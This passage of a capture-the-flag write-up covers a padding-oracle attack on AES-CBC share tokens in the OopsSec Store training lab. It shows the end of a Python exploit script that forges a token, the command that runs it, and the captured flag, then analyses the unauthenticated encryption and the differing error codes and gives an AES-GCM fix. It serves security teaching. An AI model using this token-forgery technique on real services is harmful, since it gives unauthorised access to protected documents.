        &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;BASE_URL&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api/documents/share&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;forged_token&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Status: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Response: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;flag&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;[+] FLAG: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;flag&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;[-] No flag in response. Something went wrong.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Step 5: Run the exploit
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 exploit.py &amp;lt;your-token-hex&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The script parses the token into IV and cipher block, brute-forces each byte of the intermediate state (up to 4,096 requests, a few seconds), forges a new IV so the block decrypts to &lt;code&gt;report:internal&lt;/code&gt;, and sends the forged token.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you already know the plaintext (e.g., &lt;code&gt;order:ORD-001&lt;/code&gt;), you can compute the intermediate state directly as &lt;code&gt;intermediate[i] = iv[i] XOR plaintext_with_padding[i]&lt;/code&gt; — no oracle queries needed. That's a useful shortcut for testing, but the real attack doesn't assume known plaintext: it recovers the intermediate state one byte at a time by brute-forcing each IV byte and observing the server's response (400 vs non-400).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Step 6: Get the flag
&lt;/h3&gt;

&lt;p&gt;The forged token decrypts to &lt;code&gt;report:internal&lt;/code&gt;, and the share endpoint serves it up:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"report"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Internal Security Audit Report"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Quarterly security assessment completed. All systems operational. No critical findings."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OSS{p4dd1ng_0r4cl3_f0rg3d_t0k3n}"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Vulnerable code analysis
&lt;/h2&gt;

&lt;p&gt;Two things make this work.&lt;/p&gt;

&lt;p&gt;First, no ciphertext authentication. Encrypt-only, no HMAC:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;encryptShareToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randomBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createCipheriv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;aes-256-cbc&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;SHARE_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;encrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="nx"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nx"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;final&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;encrypted&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="c1"&gt;// No HMAC computed over (IV + ciphertext)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Without an HMAC, the server can't tell if someone tampered with the ciphertext before trying to decrypt it. Every modified token hits the decryption logic.&lt;/p&gt;

&lt;p&gt;Second, distinguishable error responses:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;resourcePath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;decryptShareToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Padding error → 400&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid share token format&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Valid padding → resource lookup → 404 if not found&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The catch block handles the &lt;code&gt;decipher.final()&lt;/code&gt; exception (thrown on invalid PKCS#7 padding) and returns 400. If decryption succeeds but the resource doesn't exist, the endpoint returns 404. That difference is all we need.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;p&gt;Switch from AES-CBC to AES-GCM:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;crypto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ALGORITHM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;aes-256-gcm&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;encryptShareToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randomBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// GCM standard nonce size&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createCipheriv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ALGORITHM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;SHARE_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;encrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="nx"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nx"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;final&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;authTag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAuthTag&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// 16-byte authentication tag&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;authTag&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;encrypted&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;decryptShareToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tokenHex&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tokenHex&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;hex&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subarray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;authTag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subarray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subarray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;decipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createDecipheriv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ALGORITHM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;SHARE_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAuthTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;authTag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;concat&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="nx"&gt;decipher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;final&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
  &lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;With GCM, any modification to the IV, ciphertext, or auth tag causes &lt;code&gt;decipher.final()&lt;/code&gt; to throw before producing any plaintext. No padding to leak, no oracle.&lt;/p&gt;

&lt;p&gt;If you're stuck with CBC for some reason, use Encrypt-then-MAC: compute &lt;code&gt;HMAC-SHA256(key, IV || ciphertext)&lt;/code&gt; after encryption, verify the HMAC before decryption, and return the same error regardless of what went wrong.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
